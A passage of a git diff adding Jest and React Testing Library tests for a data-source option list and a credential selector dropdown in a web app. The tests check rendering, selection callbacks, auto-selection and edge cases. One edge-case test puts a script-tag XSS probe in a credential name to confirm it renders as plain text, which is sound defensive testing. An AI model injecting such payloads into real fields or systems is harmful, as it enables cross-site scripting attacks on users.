+      it('should handle unicode characters in option labels', () => {
+        // Arrange
+        const unicodeNode = createMockPipelineNode({
+          id: 'unicode-node',
+          data: createMockDataSourceNodeData({
+            title: '数据源 📁 Source émoji',
+          }),
+        })
+        const unicodeOptions = [createMockDatasourceOption(unicodeNode)]
+        mockUseDatasourceOptions.mockReturnValue(unicodeOptions)
+
+        // Act
+        renderWithProviders(
+          <DataSourceOptions
+            {...defaultProps}
+            pipelineNodes={[unicodeNode]}
+          />,
+        )
+
+        // Assert
+        expect(screen.getByText('数据源 📁 Source émoji')).toBeInTheDocument()
+      })
+
+      it('should handle empty string as option value', () => {
+        // Arrange
+        const emptyValueOption = [{
+          label: 'Empty Value Option',
+          value: '',
+          data: createMockDataSourceNodeData(),
+        }]
+        mockUseDatasourceOptions.mockReturnValue(emptyValueOption)
+
+        // Act
+        renderWithProviders(<DataSourceOptions {...defaultProps} />)
+
+        // Assert
+        expect(screen.getByText('Empty Value Option')).toBeInTheDocument()
+      })
+    })
+
+    describe('Boundary Conditions', () => {
+      it('should handle single option selection correctly', () => {
+        // Arrange
+        const singleOption = [createMockDatasourceOption(defaultNodes[0])]
+        mockUseDatasourceOptions.mockReturnValue(singleOption)
+        const mockOnSelect = jest.fn()
+
+        // Act
+        renderWithProviders(
+          <DataSourceOptions
+            {...defaultProps}
+            datasourceNodeId="node-1"
+            onSelect={mockOnSelect}
+          />,
+        )
+
+        // Assert - Click should still work
+        fireEvent.click(screen.getByText('Data Source 1'))
+        expect(mockOnSelect).toHaveBeenCalledTimes(1)
+      })
+
+      it('should handle options with same labels but different values', () => {
+        // Arrange
+        const duplicateLabelOptions = [
+          {
+            label: 'Duplicate Label',
+            value: 'node-a',
+            data: createMockDataSourceNodeData({ plugin_id: 'plugin-a' }),
+          },
+          {
+            label: 'Duplicate Label',
+            value: 'node-b',
+            data: createMockDataSourceNodeData({ plugin_id: 'plugin-b' }),
+          },
+        ]
+        mockUseDatasourceOptions.mockReturnValue(duplicateLabelOptions)
+        const mockOnSelect = jest.fn()
+
+        // Act
+        renderWithProviders(
+          <DataSourceOptions
+            {...defaultProps}
+            datasourceNodeId="node-a"
+            onSelect={mockOnSelect}
+          />,
+        )
+
+        // Assert - Both should render
+        const labels = screen.getAllByText('Duplicate Label')
+        expect(labels).toHaveLength(2)
+
+        // Click second one
+        fireEvent.click(labels[1])
+        expect(mockOnSelect).toHaveBeenCalledWith({
+          nodeId: 'node-b',
+          nodeData: expect.objectContaining({ plugin_id: 'plugin-b' }),
+        })
+      })
+    })
+
+    describe('Component Unmounting', () => {
+      it('should handle unmounting without errors', () => {
+        // Arrange
+        const mockOnSelect = jest.fn()
+        const { unmount } = renderWithProviders(
+          <DataSourceOptions
+            {...defaultProps}
+            onSelect={mockOnSelect}
+          />,
+        )
+
+        // Act
+        unmount()
+
+        // Assert - No errors thrown, component cleanly unmounted
+        expect(screen.queryByText('Data Source 1')).not.toBeInTheDocument()
+      })
+
+      it('should handle unmounting during rapid interactions', async () => {
+        // Arrange
+        const mockOnSelect = jest.fn()
+        const { unmount } = renderWithProviders(
+          <DataSourceOptions
+            {...defaultProps}
+            datasourceNodeId="node-1"
+            onSelect={mockOnSelect}
+          />,
+        )
+
+        // Act - Start interactions then unmount
+        fireEvent.click(screen.getByText('Data Source 1'))
+
+        // Unmount during/after interaction
+        unmount()
+
+        // Assert - Should not throw
+        expect(screen.queryByText('Data Source 1')).not.toBeInTheDocument()
+      })
+    })
+  })
+
+  // ==========================================
+  // Integration Tests
+  // ==========================================
+  describe('Integration', () => {
+    it('should render OptionCard with correct props', () => {
+      // Arrange & Act
+      const { container } = renderWithProviders(<DataSourceOptions {...defaultProps} />)
+
+      // Assert - Verify real OptionCard components are rendered
+      const cards = container.querySelectorAll('.rounded-xl.border')
+      expect(cards).toHaveLength(3)
+    })
+
+    it('should correctly pass selected state to OptionCard', () => {
+      // Arrange & Act
+      const { container } = renderWithProviders(
+        <DataSourceOptions
+          {...defaultProps}
+          datasourceNodeId="node-2"
+        />,
+      )
+
+      // Assert
+      const cards = container.querySelectorAll('.rounded-xl.border')
+      expect(cards[0]).not.toHaveClass('border-components-option-card-option-selected-border')
+      expect(cards[1]).toHaveClass('border-components-option-card-option-selected-border')
+      expect(cards[2]).not.toHaveClass('border-components-option-card-option-selected-border')
+    })
+
+    it('should use option.value as key for React rendering', () => {
+      // This test verifies that React doesn't throw duplicate key warnings
+      // Arrange
+      const uniqueValueOptions = createMockPipelineNodes(5).map(createMockDatasourceOption)
+      mockUseDatasourceOptions.mockReturnValue(uniqueValueOptions)
+
+      // Act - Should render without console warnings about duplicate keys
+      const consoleSpy = jest.spyOn(console, 'error').mockImplementation(jest.fn())
+      renderWithProviders(<DataSourceOptions {...defaultProps} />)
+
+      // Assert
+      expect(consoleSpy).not.toHaveBeenCalledWith(
+        expect.stringContaining('key'),
+      )
+      consoleSpy.mockRestore()
+    })
+  })
+
+  // ==========================================
+  // All Prop Variations Tests
+  // ==========================================
+  describe('All Prop Variations', () => {
+    it.each([
+      { datasourceNodeId: '', description: 'empty string' },
+      { datasourceNodeId: 'node-1', description: 'first node' },
+      { datasourceNodeId: 'node-2', description: 'middle node' },
+      { datasourceNodeId: 'node-3', description: 'last node' },
+      { datasourceNodeId: 'non-existent', description: 'non-existent node' },
+    ])('should handle datasourceNodeId as $description', ({ datasourceNodeId }) => {
+      // Arrange & Act
+      renderWithProviders(
+        <DataSourceOptions
+          {...defaultProps}
+          datasourceNodeId={datasourceNodeId}
+        />,
+      )
+
+      // Assert
+      expect(screen.getByText('Data Source 1')).toBeInTheDocument()
+    })
+
+    it.each([
+      { count: 0, description: 'zero options' },
+      { count: 1, description: 'single option' },
+      { count: 3, description: 'few options' },
+      { count: 10, description: 'many options' },
+    ])('should render correctly with $description', ({ count }) => {
+      // Arrange
+      const nodes = createMockPipelineNodes(count)
+      const options = nodes.map(createMockDatasourceOption)
+      mockUseDatasourceOptions.mockReturnValue(options)
+
+      // Act
+      renderWithProviders(
+        <DataSourceOptions
+          pipelineNodes={nodes}
+          datasourceNodeId=""
+          onSelect={jest.fn()}
+        />,
+      )
+
+      // Assert
+      if (count > 0)
+        expect(screen.getByText('Data Source 1')).toBeInTheDocument()
+      else
+        expect(screen.queryByText('Data Source 1')).not.toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source-options/option-card.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source-options/option-card.tsx
index a3ea97ac42..2f862ce435 100644
--- a/web/app/components/datasets/documents/create-from-pipeline/data-source-options/option-card.tsx
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source-options/option-card.tsx
@@ -1,5 +1,5 @@
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { DataSourceNodeType } from '@/app/components/workflow/nodes/data-source/types'
 import DatasourceIcon from './datasource-icon'
 import { useDatasourceIcon } from './hooks'
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/base/credential-selector/index.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/base/credential-selector/index.spec.tsx
new file mode 100644
index 0000000000..2e370c5cbc
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/base/credential-selector/index.spec.tsx
@@ -0,0 +1,1056 @@
+import { fireEvent, render, screen, waitFor, within } from '@testing-library/react'
+import React from 'react'
+import CredentialSelector from './index'
+import type { CredentialSelectorProps } from './index'
+import type { DataSourceCredential } from '@/types/pipeline'
+
+// Mock CredentialTypeEnum to avoid deep import chain issues
+enum MockCredentialTypeEnum {
+  OAUTH2 = 'oauth2',
+  API_KEY = 'api_key',
+}
+
+// Mock plugin-auth module to avoid deep import chain issues
+jest.mock('@/app/components/plugins/plugin-auth', () => ({
+  CredentialTypeEnum: {
+    OAUTH2: 'oauth2',
+    API_KEY: 'api_key',
+  },
+}))
+
+// Mock portal-to-follow-elem - use React state to properly handle open/close
+jest.mock('@/app/components/base/portal-to-follow-elem', () => {
+  const MockPortalToFollowElem = ({ children, open }: any) => {
+    return (
+      <div data-testid="portal-root" data-open={open}>
+        {React.Children.map(children, (child: any) => {
+          if (!child)
+            return null
+          // Pass open state to children via context-like prop cloning
+          return React.cloneElement(child, { __portalOpen: open })
+        })}
+      </div>
+    )
+  }
+
+  const MockPortalToFollowElemTrigger = ({ children, onClick, className, __portalOpen }: any) => (
+    <div data-testid="portal-trigger" onClick={onClick} className={className} data-open={__portalOpen}>
+      {children}
+    </div>
+  )
+
+  const MockPortalToFollowElemContent = ({ children, className, __portalOpen }: any) => {
+    // Match actual behavior: returns null when not open
+    if (!__portalOpen)
+      return null
+    return (
+      <div data-testid="portal-content" className={className}>
+        {children}
+      </div>
+    )
+  }
+
+  return {
+    PortalToFollowElem: MockPortalToFollowElem,
+    PortalToFollowElemTrigger: MockPortalToFollowElemTrigger,
+    PortalToFollowElemContent: MockPortalToFollowElemContent,
+  }
+})
+
+// CredentialIcon - imported directly (not mocked)
+// This is a simple UI component with no external dependencies
+
+// ==========================================
+// Test Data Builders
+// ==========================================
+const createMockCredential = (overrides?: Partial<DataSourceCredential>): DataSourceCredential => ({
+  id: 'cred-1',
+  name: 'Test Credential',
+  avatar_url: 'https://example.com/avatar.png',
+  credential: { key: 'value' },
+  is_default: false,
+  type: MockCredentialTypeEnum.OAUTH2 as unknown as DataSourceCredential['type'],
+  ...overrides,
+})
+
+const createMockCredentials = (count: number = 3): DataSourceCredential[] =>
+  Array.from({ length: count }, (_, i) =>
+    createMockCredential({
+      id: `cred-${i + 1}`,
+      name: `Credential ${i + 1}`,
+      avatar_url: `https://example.com/avatar-${i + 1}.png`,
+      is_default: i === 0,
+    }),
+  )
+
+const createDefaultProps = (overrides?: Partial<CredentialSelectorProps>): CredentialSelectorProps => ({
+  currentCredentialId: 'cred-1',
+  onCredentialChange: jest.fn(),
+  credentials: createMockCredentials(),
+  ...overrides,
+})
+
+describe('CredentialSelector', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // ==========================================
+  // Rendering Tests - Verify component renders correctly
+  // ==========================================
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<CredentialSelector {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('portal-root')).toBeInTheDocument()
+      expect(screen.getByTestId('portal-trigger')).toBeInTheDocument()
+    })
+
+    it('should render current credential name in trigger', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<CredentialSelector {...props} />)
+
+      // Assert
+      expect(screen.getByText('Credential 1')).toBeInTheDocument()
+    })
+
+    it('should render credential icon with correct props', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<CredentialSelector {...props} />)
+
+      // Assert - CredentialIcon renders an img when avatarUrl is provided
+      const iconImg = container.querySelector('img')
+      expect(iconImg).toBeInTheDocument()
+      expect(iconImg).toHaveAttribute('src', 'https://example.com/avatar-1.png')
+    })
+
+    it('should render dropdown arrow icon', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<CredentialSelector {...props} />)
+
+      // Assert
+      const svgIcon = container.querySelector('svg')
+      expect(svgIcon).toBeInTheDocument()
+    })
+
+    it('should not render dropdown content initially', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<CredentialSelector {...props} />)
+
+      // Assert
+      expect(screen.queryByTestId('portal-content')).not.toBeInTheDocument()
+    })
+
+    it('should render all credentials in dropdown when opened', () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<CredentialSelector {...props} />)
+
+      // Act - Click trigger to open dropdown
+      const trigger = screen.getByTestId('portal-trigger')
+      fireEvent.click(trigger)
+
+      // Assert - All credentials should be visible (current credential appears in both trigger and list)
+      expect(screen.getByTestId('portal-content')).toBeInTheDocument()
+      // 3 in dropdown list + 1 in trigger (current) = 4 total
+      expect(screen.getAllByText(/Credential \d/)).toHaveLength(4)
+    })
+  })
+
+  // ==========================================
+  // Props Testing - Verify all prop variations
+  // ==========================================
+  describe('Props', () => {
+    describe('currentCredentialId prop', () => {
+      it('should display first credential when currentCredentialId matches first', () => {
+        // Arrange
+        const props = createDefaultProps({ currentCredentialId: 'cred-1' })
+
+        // Act
+        render(<CredentialSelector {...props} />)
+
+        // Assert
+        expect(screen.getByText('Credential 1')).toBeInTheDocument()
+      })
+
+      it('should display second credential when currentCredentialId matches second', () => {
+        // Arrange
+        const props = createDefaultProps({ currentCredentialId: 'cred-2' })
+
+        // Act
+        render(<CredentialSelector {...props} />)
+
+        // Assert
+        expect(screen.getByText('Credential 2')).toBeInTheDocument()
+      })
+
+      it('should display third credential when currentCredentialId matches third', () => {
+        // Arrange
+        const props = createDefaultProps({ currentCredentialId: 'cred-3' })
+
+        // Act
+        render(<CredentialSelector {...props} />)
+
+        // Assert
+        expect(screen.getByText('Credential 3')).toBeInTheDocument()
+      })
+
+      it.each([
+        ['cred-1', 'Credential 1'],
+        ['cred-2', 'Credential 2'],
+        ['cred-3', 'Credential 3'],
+      ])('should display %s credential name when currentCredentialId is %s', (credId, expectedName) => {
+        // Arrange
+        const props = createDefaultProps({ currentCredentialId: credId })
+
+        // Act
+        render(<CredentialSelector {...props} />)
+
+        // Assert
+        expect(screen.getByText(expectedName)).toBeInTheDocument()
+      })
+    })
+
+    describe('credentials prop', () => {
+      it('should render single credential correctly', () => {
+        // Arrange
+        const props = createDefaultProps({
+          credentials: [createMockCredential()],
+          currentCredentialId: 'cred-1',
+        })
+
+        // Act
+        render(<CredentialSelector {...props} />)
+
+        // Assert
+        expect(screen.getByText('Test Credential')).toBeInTheDocument()
+      })
+
+      it('should render multiple credentials in dropdown', () => {
+        // Arrange
+        const props = createDefaultProps({
+          credentials: createMockCredentials(5),
+          currentCredentialId: 'cred-1',
+        })
+        render(<CredentialSelector {...props} />)
+
+        // Act
+        const trigger = screen.getByTestId('portal-trigger')
+        fireEvent.click(trigger)
+
+        // Assert - 5 in dropdown + 1 in trigger (current credential appears twice)
+        expect(screen.getAllByText(/Credential \d/).length).toBe(6)
+      })
+
+      it('should handle credentials with special characters in name', () => {
+        // Arrange
+        const props = createDefaultProps({
+          credentials: [createMockCredential({ id: 'cred-special', name: 'Test & Credential <special>' })],
+          currentCredentialId: 'cred-special',
+        })
+
+        // Act
+        render(<CredentialSelector {...props} />)
+
+        // Assert
+        expect(screen.getByText('Test & Credential <special>')).toBeInTheDocument()
+      })
+    })
+
+    describe('onCredentialChange prop', () => {
+      it('should be called when selecting a credential', () => {
+        // Arrange
+        const mockOnChange = jest.fn()
+        const props = createDefaultProps({ onCredentialChange: mockOnChange })
+        render(<CredentialSelector {...props} />)
+
+        // Act - Open dropdown
+        const trigger = screen.getByTestId('portal-trigger')
+        fireEvent.click(trigger)
+
+        // Click on second credential
+        const credential2 = screen.getByText('Credential 2')
+        fireEvent.click(credential2)
+
+        // Assert
+        expect(mockOnChange).toHaveBeenCalledWith('cred-2')
+      })
+
+      it.each([
+        ['cred-2', 'Credential 2'],
+        ['cred-3', 'Credential 3'],
+      ])('should call onCredentialChange with %s when selecting %s', (credId, credentialName) => {
+        // Arrange
+        const mockOnChange = jest.fn()
+        const props = createDefaultProps({ onCredentialChange: mockOnChange })
+        render(<CredentialSelector {...props} />)
+
+        // Act - Open dropdown and select credential
+        const trigger = screen.getByTestId('portal-trigger')
+        fireEvent.click(trigger)
+
+        // Get the dropdown item using within() to scope query to portal content
+        const portalContent = screen.getByTestId('portal-content')
+        const credentialOption = within(portalContent).getByText(credentialName)
+        fireEvent.click(credentialOption)
+
+        // Assert
+        expect(mockOnChange).toHaveBeenCalledWith(credId)
+      })
+
+      it('should call onCredentialChange with cred-1 when selecting Credential 1 in dropdown', () => {
+        // Arrange - Start with cred-2 selected so cred-1 is only in dropdown
+        const mockOnChange = jest.fn()
+        const props = createDefaultProps({
+          onCredentialChange: mockOnChange,
+          currentCredentialId: 'cred-2',
+        })
+        render(<CredentialSelector {...props} />)
+
+        // Act - Open dropdown and select Credential 1
+        const trigger = screen.getByTestId('portal-trigger')
+        fireEvent.click(trigger)
+
+        const credential1 = screen.getByText('Credential 1')
+        fireEvent.click(credential1)
+
+        // Assert
+        expect(mockOnChange).toHaveBeenCalledWith('cred-1')
+      })
+    })
+  })
+
+  // ==========================================
+  // User Interactions - Test event handlers
+  // ==========================================
+  describe('User Interactions', () => {
+    it('should toggle dropdown open when trigger is clicked', () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<CredentialSelector {...props} />)
+
+      // Assert - Initially closed
+      expect(screen.queryByTestId('portal-content')).not.toBeInTheDocument()
+
+      // Act - Click trigger
+      const trigger = screen.getByTestId('portal-trigger')
+      fireEvent.click(trigger)
+
+      // Assert - Now open
+      expect(screen.getByTestId('portal-content')).toBeInTheDocument()
+    })
+
+    it('should call onCredentialChange when clicking a credential item', () => {
+      // Arrange
+      const mockOnChange = jest.fn()
+      const props = createDefaultProps({ onCredentialChange: mockOnChange })
+      render(<CredentialSelector {...props} />)
+
+      // Act
+      const trigger = screen.getByTestId('portal-trigger')
+      fireEvent.click(trigger)
+      const credential2 = screen.getByText('Credential 2')
+      fireEvent.click(credential2)
+
+      // Assert
+      expect(mockOnChange).toHaveBeenCalledTimes(1)
+      expect(mockOnChange).toHaveBeenCalledWith('cred-2')
+    })
+
+    it('should close dropdown after selecting a credential', () => {
+      // Arrange
+      const mockOnChange = jest.fn()
+      const props = createDefaultProps({ onCredentialChange: mockOnChange })
+      render(<CredentialSelector {...props} />)
+
+      // Act - Open and select
+      const trigger = screen.getByTestId('portal-trigger')
+      fireEvent.click(trigger)
+
+      expect(screen.getByTestId('portal-content')).toBeInTheDocument()
+
+      const credential2 = screen.getByText('Credential 2')
+      fireEvent.click(credential2)
+
+      // Assert - The handleCredentialChange calls toggle(), which should change the open state
+      expect(mockOnChange).toHaveBeenCalled()
+    })
+
+    it('should handle rapid consecutive clicks on trigger', () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<CredentialSelector {...props} />)
+
+      // Act - Rapid clicks
+      const trigger = screen.getByTestId('portal-trigger')
+      fireEvent.click(trigger)
+      fireEvent.click(trigger)
+      fireEvent.click(trigger)
+
+      // Assert - Should not crash
+      expect(trigger).toBeInTheDocument()
+    })
+
+    it('should allow selecting credentials multiple times', () => {
+      // Arrange - Start with cred-2 selected so we can select other credentials
+      const mockOnChange = jest.fn()
+      const props = createDefaultProps({
+        onCredentialChange: mockOnChange,
+        currentCredentialId: 'cred-2',
+      })
+
+      render(<CredentialSelector {...props} />)
+
+      // Act & Assert - Select Credential 1 (different from current)
+      const trigger = screen.getByTestId('portal-trigger')
+      fireEvent.click(trigger)
+
+      const credential1 = screen.getByText('Credential 1')
+      fireEvent.click(credential1)
+
+      expect(mockOnChange).toHaveBeenCalledWith('cred-1')
+    })
+  })
+
+  // ==========================================
+  // Side Effects and Cleanup - Test useEffect behavior
+  // ==========================================
+  describe('Side Effects and Cleanup', () => {
+    it('should auto-select first credential when currentCredential is not found and credentials exist', () => {
+      // Arrange
+      const mockOnChange = jest.fn()
+      const props = createDefaultProps({
+        currentCredentialId: 'non-existent-id',
+        onCredentialChange: mockOnChange,
+      })
+
+      // Act
+      render(<CredentialSelector {...props} />)
+
+      // Assert - Should auto-select first credential
+      expect(mockOnChange).toHaveBeenCalledWith('cred-1')
+    })
+
+    it('should not call onCredentialChange when currentCredential is found', () => {
+      // Arrange
+      const mockOnChange = jest.fn()
+      const props = createDefaultProps({
+        currentCredentialId: 'cred-2',
+        onCredentialChange: mockOnChange,
+      })
+
+      // Act
+      render(<CredentialSelector {...props} />)
+
+      // Assert - Should not auto-select
+      expect(mockOnChange).not.toHaveBeenCalled()
+    })
+
+    it('should not call onCredentialChange when credentials array is empty', () => {
+      // Arrange
+      const mockOnChange = jest.fn()
+      const props = createDefaultProps({
+        currentCredentialId: 'cred-1',
+        credentials: [],
+        onCredentialChange: mockOnChange,
+      })
+
+      // Act
+      render(<CredentialSelector {...props} />)
+
+      // Assert - Should not call since no credentials to select
+      expect(mockOnChange).not.toHaveBeenCalled()
+    })
+
+    it('should auto-select when credentials change and currentCredential becomes invalid', async () => {
+      // Arrange
+      const mockOnChange = jest.fn()
+      const initialCredentials = createMockCredentials(3)
+      const props = createDefaultProps({
+        currentCredentialId: 'cred-1',
+        credentials: initialCredentials,
+        onCredentialChange: mockOnChange,
+      })
+
+      const { rerender } = render(<CredentialSelector {...props} />)
+      expect(mockOnChange).not.toHaveBeenCalled()
+
+      // Act - Change credentials to not include current
+      const newCredentials = [
+        createMockCredential({ id: 'cred-4', name: 'New Credential 4' }),
+        createMockCredential({ id: 'cred-5', name: 'New Credential 5' }),
+      ]
+      rerender(
+        <CredentialSelector
+          {...props}
+          credentials={newCredentials}
+        />,
+      )
+
+      // Assert - Should auto-select first of new credentials
+      await waitFor(() => {
+        expect(mockOnChange).toHaveBeenCalledWith('cred-4')
+      })
+    })
+
+    it('should not trigger auto-select effect on every render with same props', () => {
+      // Arrange
+      const mockOnChange = jest.fn()
+      const props = createDefaultProps({ onCredentialChange: mockOnChange })
+
+      // Act - Render and rerender with same props
+      const { rerender } = render(<CredentialSelector {...props} />)
+      rerender(<CredentialSelector {...props} />)
+      rerender(<CredentialSelector {...props} />)
+
+      // Assert - onCredentialChange should not be called for auto-selection
+      expect(mockOnChange).not.toHaveBeenCalled()
+    })
+  })
+
+  // ==========================================
+  // Callback Stability and Memoization - Test useCallback behavior
+  // ==========================================
+  describe('Callback Stability and Memoization', () => {
+    it('should have stable handleCredentialChange callback', () => {
+      // Arrange
+      const mockOnChange = jest.fn()
+      const props = createDefaultProps({ onCredentialChange: mockOnChange })
+      render(<CredentialSelector {...props} />)
+
+      // Act - Open dropdown and select
+      const trigger = screen.getByTestId('portal-trigger')
+      fireEvent.click(trigger)
+      const credential = screen.getByText('Credential 2')
+      fireEvent.click(credential)
+
+      // Assert - Callback should work correctly
+      expect(mockOnChange).toHaveBeenCalledWith('cred-2')
+    })
+
+    it('should update handleCredentialChange when onCredentialChange changes', () => {
+      // Arrange
+      const mockOnChange1 = jest.fn()
+      const mockOnChange2 = jest.fn()
+      const props = createDefaultProps({ onCredentialChange: mockOnChange1 })
+
+      const { rerender } = render(<CredentialSelector {...props} />)
+
+      // Act - Update onCredentialChange prop
+      rerender(<CredentialSelector {...props} onCredentialChange={mockOnChange2} />)
+
+      // Open and select
+      const trigger = screen.getByTestId('portal-trigger')
+      fireEvent.click(trigger)
+      const credential = screen.getByText('Credential 2')
+      fireEvent.click(credential)
+
+      // Assert - New callback should be used
+      expect(mockOnChange1).not.toHaveBeenCalled()
+      expect(mockOnChange2).toHaveBeenCalledWith('cred-2')
+    })
+  })
+
+  // ==========================================
+  // Memoization Logic and Dependencies - Test useMemo behavior
+  // ==========================================
+  describe('Memoization Logic and Dependencies', () => {
+    it('should find currentCredential by id', () => {
+      // Arrange
+      const props = createDefaultProps({ currentCredentialId: 'cred-2' })
+
+      // Act
+      render(<CredentialSelector {...props} />)
+
+      // Assert - Should display credential 2
+      expect(screen.getByText('Credential 2')).toBeInTheDocument()
+    })
+
+    it('should update currentCredential when currentCredentialId changes', () => {
+      // Arrange
+      const props = createDefaultProps({ currentCredentialId: 'cred-1' })
+      const { rerender } = render(<CredentialSelector {...props} />)
+
+      // Assert initial
+      expect(screen.getByText('Credential 1')).toBeInTheDocument()
+
+      // Act - Change currentCredentialId
+      rerender(<CredentialSelector {...props} currentCredentialId="cred-3" />)
+
+      // Assert - Should now display credential 3
+      expect(screen.getByText('Credential 3')).toBeInTheDocument()
+    })
+
+    it('should update currentCredential when credentials array changes', () => {
+      // Arrange
+      const props = createDefaultProps({ currentCredentialId: 'cred-1' })
+      const { rerender } = render(<CredentialSelector {...props} />)
+
+      // Assert initial
+      expect(screen.getByText('Credential 1')).toBeInTheDocument()
+
+      // Act - Change credentials
+      const newCredentials = [
+        createMockCredential({ id: 'cred-1', name: 'Updated Credential 1' }),
+      ]
+      rerender(<CredentialSelector {...props} credentials={newCredentials} />)
+
+      // Assert - Should display updated name
+      expect(screen.getByText('Updated Credential 1')).toBeInTheDocument()
+    })
+
+    it('should return undefined currentCredential when id not found', () => {
+      // Arrange
+      const mockOnChange = jest.fn()
+      const props = createDefaultProps({
+        currentCredentialId: 'non-existent',
+        onCredentialChange: mockOnChange,
+      })
+
+      // Act
+      render(<CredentialSelector {...props} />)
+
+      // Assert - Should trigger auto-select effect
+      expect(mockOnChange).toHaveBeenCalledWith('cred-1')
+    })
+  })
+
+  // ==========================================
+  // Component Memoization - Test React.memo behavior
+  // ==========================================
+  describe('Component Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      // Assert
+      expect(CredentialSelector.$$typeof).toBe(Symbol.for('react.memo'))
+    })
+
+    it('should not re-render when props remain the same', () => {
+      // Arrange
+      const mockOnChange = jest.fn()
+      const props = createDefaultProps({ onCredentialChange: mockOnChange })
+      const renderSpy = jest.fn()
+
+      const TrackedCredentialSelector: React.FC<CredentialSelectorProps> = (trackedProps) => {
+        renderSpy()
+        return <CredentialSelector {...trackedProps} />
+      }
+      const MemoizedTracked = React.memo(TrackedCredentialSelector)
+
+      // Act
+      const { rerender } = render(<MemoizedTracked {...props} />)
+      rerender(<MemoizedTracked {...props} />)
+
+      // Assert - Should only render once due to same props
+      expect(renderSpy).toHaveBeenCalledTimes(1)
+    })
+
+    it('should re-render when currentCredentialId changes', () => {
+      // Arrange
+      const props = createDefaultProps({ currentCredentialId: 'cred-1' })
+      const { rerender } = render(<CredentialSelector {...props} />)
+
+      // Assert initial
+      expect(screen.getByText('Credential 1')).toBeInTheDocument()
+
+      // Act
+      rerender(<CredentialSelector {...props} currentCredentialId="cred-2" />)
+
+      // Assert
+      expect(screen.getByText('Credential 2')).toBeInTheDocument()
+    })
+
+    it('should re-render when credentials array reference changes', () => {
+      // Arrange
+      const props = createDefaultProps()
+      const { rerender } = render(<CredentialSelector {...props} />)
+
+      // Act - Create new credentials array with different data
+      const newCredentials = [
+        createMockCredential({ id: 'cred-1', name: 'New Name 1' }),
+      ]
+      rerender(<CredentialSelector {...props} credentials={newCredentials} />)
+
+      // Assert
+      expect(screen.getByText('New Name 1')).toBeInTheDocument()
+    })
+
+    it('should re-render when onCredentialChange reference changes', () => {
+      // Arrange
+      const mockOnChange1 = jest.fn()
+      const mockOnChange2 = jest.fn()
+      const props = createDefaultProps({ onCredentialChange: mockOnChange1 })
+      const { rerender } = render(<CredentialSelector {...props} />)
+
+      // Act - Change callback reference
+      rerender(<CredentialSelector {...props} onCredentialChange={mockOnChange2} />)
+
+      // Open and select
+      const trigger = screen.getByTestId('portal-trigger')
+      fireEvent.click(trigger)
+      const credential = screen.getByText('Credential 2')
+      fireEvent.click(credential)
+
+      // Assert - New callback should be used
+      expect(mockOnChange2).toHaveBeenCalledWith('cred-2')
+    })
+  })
+
+  // ==========================================
+  // Edge Cases and Error Handling
+  // ==========================================
+  describe('Edge Cases and Error Handling', () => {
+    it('should handle empty credentials array', () => {
+      // Arrange
+      const props = createDefaultProps({
+        credentials: [],
+        currentCredentialId: 'cred-1',
+      })
+
+      // Act
+      render(<CredentialSelector {...props} />)
+
+      // Assert - Should render without crashing
+      expect(screen.getByTestId('portal-root')).toBeInTheDocument()
+    })
+
+    it('should handle undefined avatar_url in credential', () => {
+      // Arrange
+      const credentialWithoutAvatar = createMockCredential({
+        id: 'cred-no-avatar',
+        name: 'No Avatar Credential',
+        avatar_url: undefined,
+      })
+      const props = createDefaultProps({
+        credentials: [credentialWithoutAvatar],
+        currentCredentialId: 'cred-no-avatar',
+      })
+
+      // Act
+      const { container } = render(<CredentialSelector {...props} />)
+
+      // Assert - Should render without crashing and show first letter fallback
+      expect(screen.getByText('No Avatar Credential')).toBeInTheDocument()
+      // When avatar_url is undefined, CredentialIcon shows first letter instead of img
+      const iconImg = container.querySelector('img')
+      expect(iconImg).not.toBeInTheDocument()
+      // First letter 'N' should be displayed
+      expect(screen.getByText('N')).toBeInTheDocument()
+    })
+
+    it('should handle empty string name in credential', () => {
+      // Arrange
+      const credentialWithEmptyName = createMockCredential({
+        id: 'cred-empty-name',
+        name: '',
+      })
+      const props = createDefaultProps({
+        credentials: [credentialWithEmptyName],
+        currentCredentialId: 'cred-empty-name',
+      })
+
+      // Act
+      render(<CredentialSelector {...props} />)
+
+      // Assert - Should render without crashing
+      expect(screen.getByTestId('portal-trigger')).toBeInTheDocument()
+    })
+
+    it('should handle very long credential name', () => {
+      // Arrange
+      const longName = 'A'.repeat(200)
+      const credentialWithLongName = createMockCredential({
+        id: 'cred-long-name',
+        name: longName,
+      })
+      const props = createDefaultProps({
+        credentials: [credentialWithLongName],
+        currentCredentialId: 'cred-long-name',
+      })
+
+      // Act
+      render(<CredentialSelector {...props} />)
+
+      // Assert
+      expect(screen.getByText(longName)).toBeInTheDocument()
+    })
+
+    it('should handle special characters in credential name', () => {
+      // Arrange
+      const specialName = '测试 Credential <script>alert("xss")</script> & "quoted"'
+      const credentialWithSpecialName = createMockCredential({
+        id: 'cred-special',
+        name: specialName,
+      })
+      const props = createDefaultProps({
+        credentials: [credentialWithSpecialName],
+        currentCredentialId: 'cred-special',
+      })
+
+      // Act
+      render(<CredentialSelector {...props} />)
+
+      // Assert
+      expect(screen.getByText(specialName)).toBeInTheDocument()
+    })
+
+    it('should handle numeric id as string', () => {
+      // Arrange
+      const credentialWithNumericId = createMockCredential({
+        id: '123456',
+        name: 'Numeric ID Credential',
+      })
+      const props = createDefaultProps({
+        credentials: [credentialWithNumericId],
+        currentCredentialId: '123456',
+      })
+
+      // Act
+      render(<CredentialSelector {...props} />)
+
